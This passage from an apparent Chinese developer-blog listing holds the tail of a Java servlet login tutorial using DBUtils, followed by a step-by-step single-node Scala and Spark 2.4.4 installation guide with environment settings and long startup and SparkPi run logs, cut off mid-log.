(1,'jay','123456','周杰棍');5.编写LoginServlet代码package com.atguigu.servlet; ​ import com.atguigu.bean.User; import com.atguigu.utils.JDBCTools; import org.apache.commons.dbutils.QueryRunner; import org.apache.commons.dbutils.handlers.BeanHandler; ​ import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; ​ /** * @author Leevi * 日期2021-05-11 14:30 */ public class LoginServlet extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   } ​    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        //解决请求参数和响应数据的乱码问题        request.setCharacterEncoding("UTF-8");        response.setContentType("text/html;charset=UTF-8");        //获取请求参数        String username = request.getParameter("username");        String password = request.getParameter("password"); ​        //使用DBUtils连接数据库执行查询的SQL语句        String sql = "select * from t_user where username=? and password=?";        QueryRunner queryRunner = new QueryRunner(JDBCTools.getDataSource());        try {            User user = queryRunner.query(sql, new BeanHandler<>(User.class), username, password);            if (user != null) {                //说明查询到数据                //向浏览器响应查询到数据了                response.getWriter().write("登录成功!!!");                return;           }            //说明登录失败            throw new RuntimeException();       } catch (Exception e) {            e.printStackTrace();            response.getWriter().write("登录失败!!!");       }   } }配置LoginServlet的映射路径部署Module
文章
存储  ·  SQL  ·  druid  ·  前端开发  ·  Java  ·  关系型数据库  ·  MySQL  ·  应用服务中间件  ·  API
2022-12-08
【大数据开发运维解决方案】Hadoop2.7.6+Spark2.4.4+Scala2.11.12+Hudi0.5.2单机伪分布式安装
Hadoop2.7.6+Spark2.4.4+Scala2.11.12+Hudi0.5.2单机伪分布式安装注意1、本文档使用的基础hadoop环境是基于本人写的另一篇文章的基础上新增的spark和hudi的安装部署文档,基础环境部署文档2、整篇文章配置相对简单,走了一些坑,没有写在文档里,为了像我一样的小白看我的文档,按着错误的路径走了,文章整体写的较为详细,按照文章整体过程来做应该不会出错,如果需要搭建基础大数据环境的,可以看上面本人写的hadoop环境部署文档,写的较为详细。3、关于spark和hudi的介绍这里不再赘述,网上和官方文档有很多的文字介绍,本文所有安装所需的介质或官方文档均已给出可以直接下载或跳转的路径,方便各位免费下载与我文章安装的一致版本的介质。4、下面是本实验安装完成后本人实验环境整体hadoop系列组件的版本情况:软件名称版本号Hadoop2.7.6Mysql5.7Hive2.3.2Hbase1.4.9Spark2.4.4Hudi0.5.2JDK1.8.0_151Scala2.11.12OGG for bigdata12.3Kylin2.4Kafka2.11-1.1.1Zookeeper3.4.6Oracle Linux6.8x64一、安装spark依赖的Scala因为其他版本的Spark都是基于2.11.版本,只有2.4.2版本的才使用Scala2.12. 版本进行开发,hudi官方用的是spark2.4.4,而spark:"Using Scala version 2.11.12 (Java HotSpot(TM) 64-Bit Server VM, Java 1.8.0_151)",所以这里我们下载scala2.11.12。1.1 下载和解压缩Scala下载地址:点击进入下载linux版本:在Linux服务器的opt目录下新建一个名为scala的文件夹,并将下载的压缩包上载上去:[root@hadoop opt]# cd /usr/ [root@hadoop usr]# mkdir scala [root@hadoop usr]# cd scala/ [root@hadoop scala]# pwd /usr/scala [root@hadoop scala]# ls scala-2.11.12.tgz [root@hadoop scala]# tar -zxvf scala-2.11.12.tgz [root@hadoop scala]# ls scala-2.11.12 scala-2.11.12.tgz [root@hadoop scala]# rm -rf *tgz [root@hadoop scala]# cd scala-2.11.12/ [root@hadoop scala-2.11.12]# pwd /usr/scala/scala-2.11.121.2 配置环境变量编辑/etc/profile这个文件,在文件中增加配置:export SCALA_HOME=/usr/scala/scala-2.11.12 在该文件的PATH变量中增加下面的内容: ${SCALA_HOME}/bin添加完成后,我的/etc/profile的配置如下:export JAVA_HOME=/usr/java/jdk1.8.0_151 export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar export PATH=$PATH:$JAVA_HOME/bin export HADOOP_HOME=/hadoop/ export HADOOP_CONF_DIR=${HADOOP_HOME}/etc/hadoop export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native export HADOOP_OPTS="-Djava.library.path=$HADOOP_HOME/lib:$HADOOP_COMMON_LIB_NATIVE_DIR" export HIVE_HOME=/hadoop/hive export HIVE_CONF_DIR=${HIVE_HOME}/conf export HCAT_HOME=$HIVE_HOME/hcatalog export HIVE_DEPENDENCY=/hadoop/hive/conf:/hadoop/hive/lib/*:/hadoop/hive/hcatalog/share/hcatalog/hive-hcatalog-pig-adapter-2.3.3.jar:/hadoop/hive/hcatalog/share/hcatalog/hive-hcatalog-core-2.3.3.jar:/hadoop/hiv e/hcatalog/share/hcatalog/hive-hcatalog-server-extensions-2.3.3.jar:/hadoop/hive/hcatalog/share/hcatalog/hive-hcatalog-streaming-2.3.3.jar:/hadoop/hive/lib/hive-exec-2.3.3.jarexport HBASE_HOME=/hadoop/hbase/ export ZOOKEEPER_HOME=/hadoop/zookeeper export KAFKA_HOME=/hadoop/kafka export KYLIN_HOME=/hadoop/kylin/ export GGHOME=/hadoop/ogg12 export SCALA_HOME=/usr/scala/scala-2.11.12 export PATH=$PATH:$JAVA_HOME/bin:$HADOOP_HOME/bin:$HADOOP_HOME/sbin:$HIVE_HOME/bin:$HCAT_HOME/bin:$HBASE_HOME/bin:$ZOOKEEPER_HOME:$KAFKA_HOME:$KYLIN_HOME/bin:${SCALA_HOME}/bin export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:${HIVE_HOME}/lib:$HBASE_HOME/lib:$KYLIN_HOME/lib export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$JAVA_HOME/jre/lib/amd64/libjsig.so:$JAVA_HOME/jre/lib/amd64/server/libjvm.so:$JAVA_HOME/jre/lib/amd64/server:$JAVA_HOME/jre/lib/amd64:$GG_HOME:/lib保存退出,source一下使环境变量生效:[root@hadoop ~]# source /etc/profile1.3 验证Scala[root@hadoop scala-2.11.12]# scala -version Scala code runner version 2.11.12 -- Copyright 2002-2017, LAMP/EPFL二、 下载和解压缩Spark2.1、下载Spark下载地址:点击进入2.2 解压缩Spark在/hadoop创建spark目录用户存放spark。[root@hadoop scala-2.11.12]# cd /hadoop/ [root@hadoop hadoop]# mkdir spark [root@hadoop hadoop]# cd spark/ 通过xftp上传安装包到spark目录 [root@hadoop spark]# tar -zxvf spark-2.4.4-bin-hadoop2.7.tgz [root@hadoop spark]# ls spark-2.4.4-bin-hadoop2.7 spark-2.4.4-bin-hadoop2.7.tgz [root@hadoop spark]# rm -rf *tgz [root@hadoop spark]# mv spark-2.4.4-bin-hadoop2.7/* . [root@hadoop spark]# ls bin conf data examples jars kubernetes LICENSE licenses NOTICE python R README.md RELEASE sbin spark-2.4.4-bin-hadoop2.7 yarn三、Spark相关的配置3.1、配置环境变量编辑/etc/profile文件,增加export SPARK_HOME=/hadoop/spark上面的变量添加完成后编辑该文件中的PATH变量,添加${SPARK_HOME}/bin修改完成后,我的/etc/profile文件内容是:export JAVA_HOME=/usr/java/jdk1.8.0_151 export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar export PATH=$PATH:$JAVA_HOME/bin export HADOOP_HOME=/hadoop/ export HADOOP_CONF_DIR=${HADOOP_HOME}/etc/hadoop export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native export HADOOP_OPTS="-Djava.library.path=$HADOOP_HOME/lib:$HADOOP_COMMON_LIB_NATIVE_DIR" export HIVE_HOME=/hadoop/hive export HIVE_CONF_DIR=${HIVE_HOME}/conf export HCAT_HOME=$HIVE_HOME/hcatalog export HIVE_DEPENDENCY=/hadoop/hive/conf:/hadoop/hive/lib/*:/hadoop/hive/hcatalog/share/hcatalog/hive-hcatalog-pig-adapter-2.3.3.jar:/hadoop/hive/hcatalog/share/hcatalog/hive-hcatalog-core-2.3.3.jar:/hadoop/hiv e/hcatalog/share/hcatalog/hive-hcatalog-server-extensions-2.3.3.jar:/hadoop/hive/hcatalog/share/hcatalog/hive-hcatalog-streaming-2.3.3.jar:/hadoop/hive/lib/hive-exec-2.3.3.jarexport HBASE_HOME=/hadoop/hbase/ export ZOOKEEPER_HOME=/hadoop/zookeeper export KAFKA_HOME=/hadoop/kafka export KYLIN_HOME=/hadoop/kylin/ export GGHOME=/hadoop/ogg12 export SCALA_HOME=/usr/scala/scala-2.11.12 export SPARK_HOME=/hadoop/spark export PATH=$PATH:$JAVA_HOME/bin:$HADOOP_HOME/bin:$HADOOP_HOME/sbin:$HIVE_HOME/bin:$HCAT_HOME/bin:$HBASE_HOME/bin:$ZOOKEEPER_HOME:$KAFKA_HOME:$KYLIN_HOME/bin:${SCALA_HOME}/bin:${SPARK_HOME}/bin:${SPARK_HOME}/sbin export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:${HIVE_HOME}/lib:$HBASE_HOME/lib:$KYLIN_HOME/lib export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$JAVA_HOME/jre/lib/amd64/libjsig.so:$JAVA_HOME/jre/lib/amd64/server/libjvm.so:$JAVA_HOME/jre/lib/amd64/server:$JAVA_HOME/jre/lib/amd64:$GG_HOME:/lib编辑完成后,执行命令 source /etc/profile使环境变量生效。3.2、配置参数文件进入conf目录[root@hadoop conf]# pwd /hadoop/spark/conf复制一份配置文件并重命名root@hadoop conf]# cp spark-env.sh.template spark-env.sh [root@hadoop conf]# ls docker.properties.template fairscheduler.xml.template log4j.properties.template metrics.properties.template slaves.template spark-defaults.conf.template spark-env.sh spark-env.sh.template编辑spark-env.h文件,在里面加入配置(具体路径以自己的为准):export SCALA_HOME=/usr/scala/scala-2.11.12 export JAVA_HOME=/usr/java/jdk1.8.0_151 export HADOOP_HOME=/hadoop export HADOOP_CONF_DIR=${HADOOP_HOME}/etc/hadoop export SPARK_HOME=/hadoop/spark export SPARK_MASTER_IP=192.168.1.66 export SPARK_EXECUTOR_MEMORY=1Gsource /etc/profile生效。3.3、新建slaves文件以spark为我们创建好的模板创建一个slaves文件,命令是:[root@hadoop conf]# pwd /hadoop/spark/conf [root@hadoop conf]# cp slaves.template slaves四、启动spark因为spark是依赖于hadoop提供的分布式文件系统的,所以在启动spark之前,先确保hadoop在正常运行。[root@hadoop hadoop]# jps 23408 RunJar 23249 JobHistoryServer 23297 RunJar 24049 Jps 22404 DataNode 22774 ResourceManager 23670 Kafka 22264 NameNode 22889 NodeManager 23642 QuorumPeerMain 22589 SecondaryNameNode在hadoop正常运行的情况下,在hserver1(也就是hadoop的namenode,spark的marster节点)上执行命令:[root@hadoop hadoop]# cd /hadoop/spark/sbin [root@hadoop sbin]# ./start-all.sh starting org.apache.spark.deploy.master.Master, logging to /hadoop/spark/logs/spark-root-org.apache.spark.deploy.master.Master-1-hadoop.out localhost: starting org.apache.spark.deploy.worker.Worker, logging to /hadoop/spark/logs/spark-root-org.apache.spark.deploy.worker.Worker-1-hadoop.out [root@hadoop sbin]# cat /hadoop/spark/logs/spark-root-org.apache.spark.deploy.master.Master-1-hadoop.out Spark Command: /usr/java/jdk1.8.0_151/bin/java -cp /hadoop/spark/conf/:/hadoop/spark/jars/*:/hadoop/etc/hadoop/ -Xmx1g org.apache.spark.deploy.master.Master --host hadoop --port 7077 --webui-port 8080 ======================================== 20/03/30 22:42:27 INFO master.Master: Started daemon with process name: 24079@hadoop 20/03/30 22:42:27 INFO util.SignalUtils: Registered signal handler for TERM 20/03/30 22:42:27 INFO util.SignalUtils: Registered signal handler for HUP 20/03/30 22:42:27 INFO util.SignalUtils: Registered signal handler for INT 20/03/30 22:42:27 WARN master.MasterArguments: SPARK_MASTER_IP is deprecated, please use SPARK_MASTER_HOST 20/03/30 22:42:27 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 20/03/30 22:42:27 INFO spark.SecurityManager: Changing view acls to: root 20/03/30 22:42:27 INFO spark.SecurityManager: Changing modify acls to: root 20/03/30 22:42:27 INFO spark.SecurityManager: Changing view acls groups to: 20/03/30 22:42:27 INFO spark.SecurityManager: Changing modify acls groups to: 20/03/30 22:42:27 INFO spark.SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(root); groups with view permissions: Set(); users with modify permiss ions: Set(root); groups with modify permissions: Set()20/03/30 22:42:27 INFO util.Utils: Successfully started service 'sparkMaster' on port 7077. 20/03/30 22:42:27 INFO master.Master: Starting Spark master at spark://hadoop:7077 20/03/30 22:42:27 INFO master.Master: Running Spark version 2.4.4 20/03/30 22:42:28 INFO util.log: Logging initialized @1497ms 20/03/30 22:42:28 INFO server.Server: jetty-9.3.z-SNAPSHOT, build timestamp: unknown, git hash: unknown 20/03/30 22:42:28 INFO server.Server: Started @1560ms 20/03/30 22:42:28 INFO server.AbstractConnector: Started ServerConnector@6182300a{HTTP/1.1,[http/1.1]}{0.0.0.0:8080} 20/03/30 22:42:28 INFO util.Utils: Successfully started service 'MasterUI' on port 8080. 20/03/30 22:42:28 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@f1f0276{/app,null,AVAILABLE,@Spark} 20/03/30 22:42:28 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@f1af444{/app/json,null,AVAILABLE,@Spark} 20/03/30 22:42:28 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@259b10d3{/,null,AVAILABLE,@Spark} 20/03/30 22:42:28 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@6fc2f56f{/json,null,AVAILABLE,@Spark} 20/03/30 22:42:28 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@37a28407{/static,null,AVAILABLE,@Spark} 20/03/30 22:42:28 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@e99fa57{/app/kill,null,AVAILABLE,@Spark} 20/03/30 22:42:28 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@66be5bb8{/driver/kill,null,AVAILABLE,@Spark} 20/03/30 22:42:28 INFO ui.MasterWebUI: Bound MasterWebUI to 0.0.0.0, and started at http://hadoop:8080 20/03/30 22:42:28 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@6b2c0980{/metrics/master/json,null,AVAILABLE,@Spark} 20/03/30 22:42:28 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@4ac1749f{/metrics/applications/json,null,AVAILABLE,@Spark} 20/03/30 22:42:28 INFO master.Master: I have been elected leader! New state: ALIVE 20/03/30 22:42:31 INFO master.Master: Registering worker 192.168.1.66:39384 with 8 cores, 4.6 GB RAM [root@hadoop sbin]# cat /hadoop/spark/logs/spark-root-org.apache.spark.deploy.worker.Worker-1-hadoop.out Spark Command: /usr/java/jdk1.8.0_151/bin/java -cp /hadoop/spark/conf/:/hadoop/spark/jars/*:/hadoop/etc/hadoop/ -Xmx1g org.apache.spark.deploy.worker.Worker --webui-port 8081 spark://hadoop:7077 ======================================== 20/03/30 22:42:29 INFO worker.Worker: Started daemon with process name: 24173@hadoop 20/03/30 22:42:29 INFO util.SignalUtils: Registered signal handler for TERM 20/03/30 22:42:29 INFO util.SignalUtils: Registered signal handler for HUP 20/03/30 22:42:29 INFO util.SignalUtils: Registered signal handler for INT 20/03/30 22:42:30 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 20/03/30 22:42:30 INFO spark.SecurityManager: Changing view acls to: root 20/03/30 22:42:30 INFO spark.SecurityManager: Changing modify acls to: root 20/03/30 22:42:30 INFO spark.SecurityManager: Changing view acls groups to: 20/03/30 22:42:30 INFO spark.SecurityManager: Changing modify acls groups to: 20/03/30 22:42:30 INFO spark.SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(root); groups with view permissions: Set(); users with modify permiss ions: Set(root); groups with modify permissions: Set()20/03/30 22:42:30 INFO util.Utils: Successfully started service 'sparkWorker' on port 39384. 20/03/30 22:42:30 INFO worker.Worker: Starting Spark worker 192.168.1.66:39384 with 8 cores, 4.6 GB RAM 20/03/30 22:42:30 INFO worker.Worker: Running Spark version 2.4.4 20/03/30 22:42:30 INFO worker.Worker: Spark home: /hadoop/spark 20/03/30 22:42:31 INFO util.log: Logging initialized @1682ms 20/03/30 22:42:31 INFO server.Server: jetty-9.3.z-SNAPSHOT, build timestamp: unknown, git hash: unknown 20/03/30 22:42:31 INFO server.Server: Started @1758ms 20/03/30 22:42:31 INFO server.AbstractConnector: Started ServerConnector@3d598dff{HTTP/1.1,[http/1.1]}{0.0.0.0:8081} 20/03/30 22:42:31 INFO util.Utils: Successfully started service 'WorkerUI' on port 8081. 20/03/30 22:42:31 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@5099c1b0{/logPage,null,AVAILABLE,@Spark} 20/03/30 22:42:31 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@64348087{/logPage/json,null,AVAILABLE,@Spark} 20/03/30 22:42:31 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@46dcda1b{/,null,AVAILABLE,@Spark} 20/03/30 22:42:31 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@1617f7cc{/json,null,AVAILABLE,@Spark} 20/03/30 22:42:31 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@56e77d31{/static,null,AVAILABLE,@Spark} 20/03/30 22:42:31 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@643123b6{/log,null,AVAILABLE,@Spark} 20/03/30 22:42:31 INFO ui.WorkerWebUI: Bound WorkerWebUI to 0.0.0.0, and started at http://hadoop:8081 20/03/30 22:42:31 INFO worker.Worker: Connecting to master hadoop:7077... 20/03/30 22:42:31 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@1cf30aaa{/metrics/json,null,AVAILABLE,@Spark} 20/03/30 22:42:31 INFO client.TransportClientFactory: Successfully created connection to hadoop/192.168.1.66:7077 after 36 ms (0 ms spent in bootstraps) 20/03/30 22:42:31 INFO worker.Worker: Successfully registered with master spark://hadoop:7077 启动没问题,访问Webui:http://192.168.1.66:8080/五、运行Spark提供的计算圆周率的示例程序这里只是简单的用local模式运行一个计算圆周率的Demo。按照下面的步骤来操作。[root@hadoop sbin]# cd /hadoop/spark/ [root@hadoop spark]# ./bin/spark-submit --class org.apache.spark.examples.SparkPi --master local examples/jars/spark-examples_2.11-2.4.4.jar 20/03/30 22:45:59 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 20/03/30 22:45:59 INFO spark.SparkContext: Running Spark version 2.4.4 20/03/30 22:45:59 INFO spark.SparkContext: Submitted application: Spark Pi 20/03/30 22:45:59 INFO spark.SecurityManager: Changing view acls to: root 20/03/30 22:45:59 INFO spark.SecurityManager: Changing modify acls to: root 20/03/30 22:45:59 INFO spark.SecurityManager: Changing view acls groups to: 20/03/30 22:45:59 INFO spark.SecurityManager: Changing modify acls groups to: 20/03/30 22:45:59 INFO spark.SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(root); groups with view permissions: Set(); users with modify permiss ions: Set(root); groups with modify permissions: Set()20/03/30 22:45:59 INFO util.Utils: Successfully started service 'sparkDriver' on port 39352. 20/03/30 22:45:59 INFO spark.SparkEnv: Registering MapOutputTracker 20/03/30 22:45:59 INFO spark.SparkEnv: Registering BlockManagerMaster 20/03/30 22:45:59 INFO storage.BlockManagerMasterEndpoint: Using org.apache.spark.storage.DefaultTopologyMapper for getting topology information 20/03/30 22:45:59 INFO storage.BlockManagerMasterEndpoint: BlockManagerMasterEndpoint up 20/03/30 22:45:59 INFO storage.DiskBlockManager: Created local directory at /tmp/blockmgr-63bf7c92-8908-4784-8e16-4c6ef0c93dc0 20/03/30 22:45:59 INFO memory.MemoryStore: MemoryStore started with capacity 366.3 MB 20/03/30 22:45:59 INFO spark.SparkEnv: Registering OutputCommitCoordinator 20/03/30 22:46:00 INFO util.log: Logging initialized @2066ms 20/03/30 22:46:00 INFO server.Server: jetty-9.3.z-SNAPSHOT, build timestamp: unknown, git hash: unknown 20/03/30 22:46:00 INFO server.Server: Started @2179ms 20/03/30 22:46:00 INFO server.AbstractConnector: Started ServerConnector@3abd581e{HTTP/1.1,[http/1.1]}{0.0.0.0:4040} 20/03/30 22:46:00 INFO util.Utils: Successfully started service 'SparkUI' on port 4040. 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@36dce7ed{/jobs,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@6a1ebcff{/jobs/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@19868320{/jobs/job,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@c20be82{/jobs/job/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@13c612bd{/stages,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@3ef41c66{/stages/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@6b739528{/stages/stage,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@5f577419{/stages/stage/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@28fa700e{/stages/pool,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@3d526ad9{/stages/pool/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@e041f0c{/storage,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@6a175569{/storage/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@11963225{/storage/rdd,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@3f3c966c{/storage/rdd/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@11ee02f8{/environment,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@4102b1b1{/environment/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@61a5b4ae{/executors,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@3a71c100{/executors/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@5b69fd74{/executors/threadDump,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@f325091{/executors/threadDump/json,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@437e951d{/static,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@467f77a5{/,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@1bb9aa43{/api,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@66b72664{/jobs/job/kill,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@7a34b7b8{/stages/stage/kill,null,AVAILABLE,@Spark} 20/03/30 22:46:00 INFO ui.SparkUI: Bound SparkUI to 0.0.0.0, and started at http://hadoop:4040 20/03/30 22:46:00 INFO spark.SparkContext: Added JAR file:/hadoop/spark/examples/jars/spark-examples_2.11-2.4.4.jar at spark://hadoop:39352/jars/spark-examples_2.11-2.4.4.jar with timestamp 1585579560287 20/03/30 22:46:00 INFO executor.Executor: Starting executor ID driver on host localhost 20/03/30 22:46:00 INFO util.Utils: Successfully started service 'org.apache.spark.network.netty.NettyBlockTransferService' on port 38875. 20/03/30 22:46:00 INFO netty.NettyBlockTransferService: Server created on hadoop:38875 20/03/30 22:46:00 INFO storage.BlockManager: Using org.apache.spark.storage.RandomBlockReplicationPolicy for block replication policy 20/03/30 22:46:00 INFO storage.BlockManagerMaster: Registering BlockManager BlockManagerId(driver, hadoop, 38875, None) 20/03/30 22:46:00 INFO storage.BlockManagerMasterEndpoint: Registering block manager hadoop:38875 with 366.3 MB RAM, BlockManagerId(driver, hadoop, 38875, None) 20/03/30 22:46:00 INFO storage.BlockManagerMaster: Registered BlockManager BlockManagerId(driver, hadoop, 38875, None) 20/03/30 22:46:00 INFO storage.BlockManager: Initialized BlockManager: BlockManagerId(driver, hadoop, 38875, None) 20/03/30 22:46:00 INFO handler.ContextHandler: Started o.s.j.s.ServletContextHandler@6f8e0cee{/metrics/json,null,AVAILABLE,@Spark} 20/03/30 22:46:01 INFO spark.SparkContext: Starting job: reduce at SparkPi.scala:38 20/03/30 22:46:01 INFO scheduler.DAGScheduler: Got job 0 (reduce at SparkPi.scala:38) with 2 output partitions 20/03/30 22:46:01 INFO scheduler.DAGScheduler: Final stage: ResultStage 0 (reduce at SparkPi.scala:38) 20/03/30 22:46:01 INFO scheduler.DAGScheduler: Parents of final stage: List() 20/03/30 22:46:01 INFO scheduler.DAGScheduler: Missing parents: List() 20/03/30 22:46:01 INFO scheduler.DAGScheduler: Submitting ResultStage 0 (MapPartitionsRDD[1] at map at SparkPi.scala:34), which has no missing parents 20/03/30 22:46:01 INFO memory.MemoryStore: Block broadcast_0 stored as values in memory (estimated size 1936.0 B, free 366.3 MB) 20/03/30 22:46:01 INFO memory.MemoryStore: Block broadcast_0_piece0 stored as bytes in memory (estimated size 1256.0 B, free 366.3 MB) 20/03/30 22:46:01 INFO storage.BlockManagerInfo: Added broadcast_0_piece0 in memory on hadoop:38875 (size: 1256.0 B, free: 366.3 MB) 20/03/30 22:46:01 INFO spark.SparkContext: Created broadcast 0 from broadcast at DAGScheduler.scala:1161 20/03/30 22:46:01 INFO scheduler.DAGScheduler: Submitting 2 missing tasks from ResultStage 0 (MapPartitionsRDD[1] at map at SparkPi.scala:34) (first 15 tasks are for partitions Vector(0, 1)) 20/03/30 22:46:01 INFO scheduler.TaskSchedulerImpl: Adding task set 0.0 with 2 tasks 20/03/30 22:46:01 INFO scheduler.TaskSetManager: Starting task 0.0 in stage 0.0 (TID 0, localhost, executor driver, partition 0, PROCESS_LOCAL, 7866 bytes) 20/03/30 22:46:01 INFO executor.Executor: Running task 0.0 in stage 0.0 (TID 0) 20/03/30 22:46:01 INFO executor.Executor: Fetching spark://hadoop:39352/jars/spark-examples_2.11-2.4.4.jar with timestamp 1585579560287 20/03/30 22:46:01 INFO client.TransportClientFactory: Successfully created connection to hadoop/192.168.1.66:39352 after 45 ms (0 ms spent in bootstraps) 20/03/30 22:46:01 INFO util.Utils: Fetching spark://hadoop:39352/jars/spark-examples_2.11-2.4.4.jar to /tmp/spark-9e0481a2-756b-436f-bc74-dd42fb5ea839/userFiles-86767584-1e78-45f2-a9ed-8ac4360ab170/fetchFileTem p2974211155688432975.tmp20/03/30 22:46:01 INFO executor.Executor: Adding file:/tmp/spark-9e0481a2-756b-436f-bc74-dd42fb5ea839/userFiles-86767584-1e78-45f2-a9ed-8ac4360ab170/spark-examples_2.11-2.4.4.jar to class loader 20/03/30 22:46:01 INFO executor.Executor: Finished task 0.0 in stage 0.0 (TID 0). 824 bytes result sent to driver 20/03/30 22:46:01 INFO scheduler.TaskSetManager: Starting task 1.0 in stage 0.0 (TID 1, localhost, executor driver, partition 1, PROCESS_LOCAL, 7866 bytes) 20/03/30 22:46:01 INFO executor.Executor: Running task 1.0 in stage 0.0 (TID 1) 20/03/30 22:46:01 INFO scheduler.TaskSetManager: Finished task 0.0 in stage 0.0 (TID 0) in 308 ms on localhost (executor driver) (1/2) 20/03/30 22:46:01 INFO executor.Executor: Finished task 1.0 in stage 0.0 (TID 1). 824 bytes result sent to driver 20/03/30 22:46:01 INFO scheduler.TaskSetManager: Finished task 1.0 in stage 0.0 (TID 1) in 31 ms on localhost (executor driver) (2/2) 20/03/30 22:46:01 INFO scheduler.TaskSchedulerImpl: Removed TaskSet 0.0, whose tasks have all completed, from pool 20/03/30 22:46:01 INFO scheduler.DAGScheduler: ResultStage 0 (reduce at SparkPi.scala:38) finished in 0.606 s 20/03/30 22:46:01 INFO scheduler.DAGScheduler: Job 0 finished: reduce at SparkPi.scala:38, took 0.703911 s Pi is roughly 3.1386756933784667 20/03/30 22:46:01 INFO server.AbstractConnector: Stopped Spark@3abd581e{HTTP/1.1,[http/1.1]}{0.0.0.0:4040} 20/03/30 22:46:01 INFO ui.SparkUI: Stopped Spark web UI at http://hadoop:4040 20/03/30 22:46:01 INFO spark.MapOutputTrackerMasterEndpoint: MapOutputTrackerMasterEndpoint stopped! 20/03/30 22:46:01 INFO memory.MemoryStore: MemoryStore cleared 20/03/30 22:46:01 INFO storage.BlockManager: BlockManager stopped 20/03/30 22:46:01 INFO storage.BlockManagerMaster: BlockManagerMaster stopped 20/03/30 22:46:01 INFO scheduler.OutputCommitCoordinator$OutputCommitCoordinatorEndpoint: OutputCommitCoordinator stopped! 20/03/30 22:46:01 INFO spark.SparkContext: 